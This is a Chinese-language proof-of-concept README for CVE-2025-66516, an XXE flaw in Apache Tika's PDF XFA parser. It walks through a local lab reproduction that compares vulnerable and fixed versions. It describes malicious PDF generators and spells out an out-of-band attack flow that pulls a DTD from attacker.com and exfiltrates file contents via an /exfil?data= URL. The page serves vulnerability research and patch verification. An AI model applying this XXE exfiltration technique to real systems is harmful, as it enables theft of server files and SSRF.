## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SID6224-CVE-2025-66516-POC
# ⚠️ **使用前请阅读免责声明** ⚠️
**仅限教育/授权测试** | 许可证 | 安全政策
* * *
      
* * *
## 关于此POC
本仓库包含针对 **CVE-2025-66516** 的概念验证(POC)利用代码,该漏洞是 Apache Tika 3.2.2 之前版本中的一个 **XML 外部实体(XXE)注入漏洞** 。漏洞影响 **tika-parser-pdf-module** 组件中的 **XFA(XML 表单架构)解析器** ,允许攻击者通过精心构造的 PDF 文档读取本地文件并窃取敏感数据。
### 什么是 CVE-2025-66516?
CVE-2025-66516 是 Apache Tika PDF 解析功能中的一个 **严重安全漏洞** 。在处理包含嵌入式 XFA 表单的 PDF 文件时,3.2.2 之前的 Tika 版本未能正确限制 XML 解析器中的外部实体处理。这使得攻击者能够:
* **读取服务器文件系统上的任意文件** (本地文件泄露)
* **将敏感数据外泄到外部服务器** (带外 XXE)
* **通过触发对内部网络资源的请求执行 SSRF 攻击**
* **绕过依赖 Tika 进行文档处理的应用程序的安全控制**
### 漏洞详情
* **CVE ID:** CVE-2025-66516
* **受影响组件:** Apache Tika tika-parser-pdf-module
* **受影响版本:** Apache Tika < 3.2.2
* **修复版本:** Apache Tika 3.2.2 及更高版本
* **攻击向量:** 包含 XXE 负载的精心构造的 XFA 表单 PDF
* **影响:** 机密性破坏、数据外泄、服务器端请求伪造(SSRF)
* **CVSS 严重性:** 高
* **相关 CVE:** CVE-2025-32370(Tika 中类似的 XXE 漏洞)
### 仓库内容
本仓库包含:
* **gen_poc.py** \- 用于生成用于本地文件读取 XXE 攻击的恶意 PDF 的 Python 脚本
* **gen_oob_poc.py** \- 用于生成用于带外数据外泄的 PDF 的 Python 脚本
* **http_listener.py** \- 用于演示 OOB XXE 数据外泄的 HTTP 服务器
* **DocumentProcessor.java** \- 展示存在漏洞的 Tika 集成的示例 Java 应用程序
* **完整的逐步复现指南** ,包含预期输出
* **技术分析** ,比较存在漏洞的版本与修复版本
* **攻击流程文档** ,解释利用机制
### 关键词
Apache Tika XXE, CVE-2025-66516 利用, Tika 安全漏洞, XML 外部实体攻击, PDF XXE 注入, Tika 3.2.1 漏洞, 带外 XXE, OOB XXE, 安全研究, 渗透测试, POC 利用, 漏洞披露, XFA 解析器漏洞, tika-parser-pdf-module, 文件泄露漏洞, 数据外泄, SSRF 攻击, 安全编码, 漏洞分析, 安全测试, 道德黑客, 信息安全, 网络安全研究, Apache Tika 利用代码, XXE 负载, PDF 安全, 文档解析器漏洞
* * *
## 测试环境
**注意:** 此 POC 已在以下环境中测试并验证:
* **Apache Tika 版本:** 3.2.1(存在漏洞)和 3.2.2(已修复)
* **操作系统:** Linux - Ubuntu 24.04.3 LTS
* **Java 版本:** OpenJDK 17.0.17
* * *
## 设置 POC 目录
首先,为 POC 创建一个专用目录,以便将所有文件组织在一起。
root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc
## 环境验证
在继续 POC 之前,请验证您的环境是否具有所需的依赖项。这些命令将显示您的 Java 编译器/运行时版本和操作系统详细信息,这对于复现漏洞至关重要。
root@kitploit:~
# 检查 Java 版本
java -version
javac -version
# 检查操作系统版本
lsb_release -a
**预期输出:** 您应该看到 Java 版本信息(例如 OpenJDK 17.x.x)和 Ubuntu 版本详细信息(24.04.3 LTS)。
## 下载 Apache Tika JAR 文件
下载存在漏洞(3.2.1)和已修复(3.2.2)的 Apache Tika 版本。我们需要这两个版本来演示 XXE 漏洞存在于 3.2.1 中,并在 3.2.2 中修复。tika-app JAR 是一个一体化可执行文件,包含所有 Tika 解析器和依赖项。
root@kitploit:~
# 下载存在漏洞的 Tika 版本
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# 下载已修复的 Tika 版本
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
**预期输出:** 将下载两个 JAR 文件 - `tika-app-3.2.1.jar`(约 75MB)和 `tika-app-3.2.2.jar`(约 75MB)。
## 验证组件版本
通过检查 JAR 清单文件验证确切版本。这确保我们在测试之前拥有正确的存在漏洞和已修复的版本。
root@kitploit:~
# 检查存在漏洞版本的清单
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# 检查已修复版本的清单
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
**预期输出:** 清单文件分别显示 `Implementation-Version: 3.2.1` 和 `3.2.2`,以及构建时间戳和其他元数据。
### 列出组件 POM 属性
如果我们查看项目对象模型(Maven 的 POM 属性定义了项目的依赖项、构建配置和元数据),我们会发现安全公告中提到的 `tika-parsers` 模块并不独立存在——这可能与版本有关,并且假设在 POC 涉及的 3.2.1 和 3.2.2 版本中,tika-parsers 模块已被单独的解析器模块取代。
root@kitploit:~
# 列出两个版本的所有组件 pom.properties 文件
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
**预期输出:** 所有 Tika 组件模块的列表,包括 `tika-core`、`tika-parser-pdf-module`、`tika-xmp` 等。您会注意到单个的解析器模块,而不是单一的 `tika-parsers` 模块。
### 检查 Tika 组件版本
提取并显示核心 Tika 组件的版本信息。这有助于我们了解内部模块结构,并确认核心库和 PDF 解析器模块都处于预期版本。
root@kitploit:~
# 检查 3.2.1 版本的 tika-core、tika-parser-pdf-module 和 tika-app 版本
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# 检查 3.2.2 版本的 tika-core、tika-parser-pdf-module 和 tika-app 版本
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
**预期输出:** POM 属性显示每个组件的 `version=3.2.1` 或 `version=3.2.2`,以 `---` 分隔。所有三个组件(tika-core、tika-parser-pdf-module、tika-app)的版本应与整体版本匹配。
## 为 XXE 利用创建目标文件
创建一个假 secrets 文件,它将作为我们 XXE 攻击的目标。该文件模拟攻击者可能试图通过 XXE 漏洞窃取的敏感数据(如 API 密钥或凭据)。
root@kitploit:~
# 创建目标秘密文件
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
**预期输出:** 一个名为 `fake-secrets.txt` 的文件,包含字符串 `INTERNAL_SERVER_KEY=EXPOSED`。XXE 利用将读取该文件。
## 代码分析:比较存在漏洞与已修复版本
为了理解修复内容,我们需要反编译并比较两个版本的 `XMLReaderUtils` 类。这个类负责创建 XML 解析器,而漏洞源于它如何配置 XML 实体处理。
root@kitploit:~
# 提取存在漏洞的 JAR 进行分析
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# 提取已修复的 JAR 进行分析
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# 反编译存在漏洞的类
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# 反编译已修复的类
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# 比较版本
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
**预期输出:** 提取会创建两个包含反编译类文件的目录。`javap` 命令生成 XMLReaderUtils 类的字节码反汇编。`diff` 命令将显示两个版本之间 XML 解析器配置的差异。
### 识别修复内容
如果我们仔细比较,会发现任何文档类型定义(DTD)和外部实体的支持在 3.2.2 中被禁用——这是修复的核心:
root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
**预期输出:** 您将看到 diff 输出显示 3.2.2 版本添加了禁用 DTD 处理和外部实体解析的调用。查找设置 `accessExternalDTD` 为空字符串和 `supportDTD` 为 `false` 的行。
## POC #1:本地文件读取 XXE
这演示了经典的 XXE 攻击,恶意 PDF 从服务器文件系统读取本地文件。Python 脚本生成一个 PDF,其中包含一个嵌入的 XFA 表单,该表单包含带有 XXE 负载的 XML,该负载引用了 `file:///fake-secrets.txt`。
root@kitploit:~
# 生成恶意 PDF
python3 ./gen_poc.py
# 使用存在漏洞的 Tika 3.2.1 进行测试
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# 使用已修复的 Tika 3.2.2 进行测试
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
**预期输出:**
* `gen_poc.py` 创建包含 XXE 负载的 `cve_2025_66516_poc.pdf`
* **存在漏洞(3.2.1):** Tika 的输出将包含 `INTERNAL_SERVER_KEY=EXPOSED` \- 秘密文件的内容!
* **已修复(3.2.2):** Tika 的输出将不包含秘密数据;XXE 攻击被阻止
## POC #2:带外 XXE
这演示了一种更复杂的 XXE 攻击,使用带外(OOB)数据外泄。恶意 PDF 不将文件内容反映在响应中,而是强制 Tika 将数据发送到攻击者控制的外部服务器。即使应用程序不返回解析的内容,这种技术也能生效。
root@kitploit:~
# 生成带外 XXE PDF
python3 ./gen_oob_poc.py
# 启动 HTTP 监听器(在单独的终端中)
python3 ./http_listener.py
# 使用存在漏洞的 Tika 3.2.1 测试 OOB XXE
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# 使用已修复的 Tika 3.2.2 测试 OOB XXE
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
**预期输出:**
* `gen_oob_poc.py` 创建包含 OOB XXE 负载的 `cve-2025-66516_OOB_XXE.pdf`
* `http_listener.py` 在端口 8888 上启动服务器并等待传入请求
* **存在漏洞(3.2.1):** HTTP 监听器将收到两个请求:
1. 对 `/evil.dtd` 的 GET 请求(外部 DTD 获取)
2. 对 `/exfil?data=INTERNAL_SERVER_KEY=EXPOSED` 的 GET 请求(数据外泄)
* **已修复(3.2.2):** 未收到任何 HTTP 请求;外部实体处理被阻止
## 应用级测试
这在更真实的场景中测试漏洞,其中 Tika 作为 Java 应用程序中的库使用(不仅仅是命令行工具)。`DocumentProcessor.java` 代码模拟了典型应用程序可能如何集成 Tika 进行文档解析。
root@kitploit:~
# 使用存在漏洞的 Tika 编译
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# 使用存在漏洞的 Tika 运行
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# 使用已修复的 Tika 编译
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# 使用已修复的 Tika 运行
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
**预期输出:**
* **存在漏洞(3.2.1):** 程序将打印:
root@kitploit:~
Document processed successfully!
Content extracted: [包含 INTERNAL_SERVER_KEY=EXPOSED 的文本]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
* **已修复(3.2.2):** 程序将打印:
root@kitploit:~
Document processed successfully!
Content extracted: [不包含秘密数据的文本]
✓ No XXE vulnerability detected.
## 清理
删除分析阶段创建的临时目录和文件,保持工作区整洁。
root@kitploit:~
# 删除提取目录
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
**预期输出:** 目录和反编译的文本文件将被删除。除非出错,否则不会显示输出。
* * *
## 理解攻击流程
### 本地文件系统 XXE 攻击序列
1. PDF 包含带有 DOCTYPE + ENTITY 声明的 XFA 流
2. Tika 检测到 XFA → 调用 XFAExtractor
3. XFAExtractor 通过 XMLReaderUtils 创建 XML 解析器
4. 解析器处理 DOCTYPE,注册 xxe 实体
5. 解析器遇到 &xxe; 引用
6. 解析器解析实体 → 读取 file:///fake-secrets.txt
7. 文件内容插入到 XML 中 &xxe; 所在的位置
8. XFAExtractor 提取字段值 = 文件内容
9. 应用程序在 Tika 输出中收到秘密数据
### 带外(OOB)XXE 攻击序列
1. PDF 包含带有声明参数实体(%file, %dtd)的 DOCTYPE 的 XFA
2. Tika 检测到 XFA → 调用 XFAExtractor
3. XFAExtractor 通过 XMLReaderUtils 创建 XML 解析器
4. 解析器处理 DOCTYPE,注册 %file 实体 → 指向 file:///fake-secrets.txt
5. 解析器遇到 %dtd; 引用 → 指向 http://attacker.com:8888/evil.dtd
6. 解析器向攻击者服务器发起 HTTP GET 请求以获取 evil.dtd
7. 攻击者的 HTTP 服务器收到请求,提供 evil.dtd 内容
8. 解析器处理 evil.dtd:定义 %payload 实体,其中包含 &send 定义
9. evil.dtd 展开 %payload → 创建带有外泄 URL 的 &send 实体
10. &send 实体包含:http://attacker.com:8888/exfil?data=%file;
11. 解析器在 &send URL 中展开 %file; → 插入文件内容
12. 解析器解析 &send; 实体 → 向外泄端点发起 HTTP GET 请求
13. 攻击者的 HTTP 服务器收到带有文件内容的 URL 参数的 /exfil 请求
14. 攻击者从 URL 参数中提取数据,记录秘密文件内容
15. 应用程序输出无关紧要 → 数据已外泄到攻击者的服务器
* * *
## 参考
### 官方安全公告
* **Apache Tika 安全页面:** https://tika.apache.org/security.html
* **NVD - CVE-2025-66516:** https://nvd.nist.gov/vuln/detail/CVE-2025-66516
* **MITRE CVE 数据库:** https://vulners.com/cve/CVE-2025-66516
* **Apache Tika GitHub:** https://github.com/apache/tika
### 相关漏洞
* **CVE-2025-54988** \- CVE-2025-66516 取代的先前 CVE 标识符(同一漏洞,重新编号)
* **CVE-2025-32370** \- Apache Tika 中类似的 XXE 漏洞
* **OWASP XXE 指南:** https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
### 技术资源
* **Apache Tika 文档:** https://tika.apache.org/
* **XXE 攻击技术:** https://portswigger.net/web-security/xxe
* **PDF XFA 规范:** Adobe XML 表单架构(XFA)规范
* **Upwind 安全分析:** https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516(应用程序代码参考)
### 负责任披露
如果您发现安全漏洞,请负责任地报告:
* **Apache 安全团队:** some-email@example.com
* **Apache Tika 团队:** https://tika.apache.org/mail-lists.html
* * *
## 标签
`apache-tika` `xxe-vulnerability` `cve-2025-66516` `security-research` `proof-of-concept` `xml-external-entity` `cybersecurity` `vulnerability-research` `poc` `infosec` `penetration-testing` `ethical-hacking` `pdf-security` `xfa-parser` `data-exfiltration`
* * *
## 许可证
本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。
**仅限教育用途** \- 此 POC 仅用于教育目的和授权的安全测试。未经授权对不属于您或未经许可测试的系统使用是非法的。
* * *
## 贡献
欢迎贡献以改进此 POC 或文档!请确保任何贡献:
* 遵循负责任披露实践
* 包含适当的免责声明
* 不包括超出教育演示的恶意代码
* 保持对教育价值的关注
* * *
## 致谢
* Apache Tika 安全团队修复此漏洞的工作
* 安全研究社区负责任的漏洞披露实践
* 本仓库的贡献者
* * *
**最后更新:** 2025 年 12 月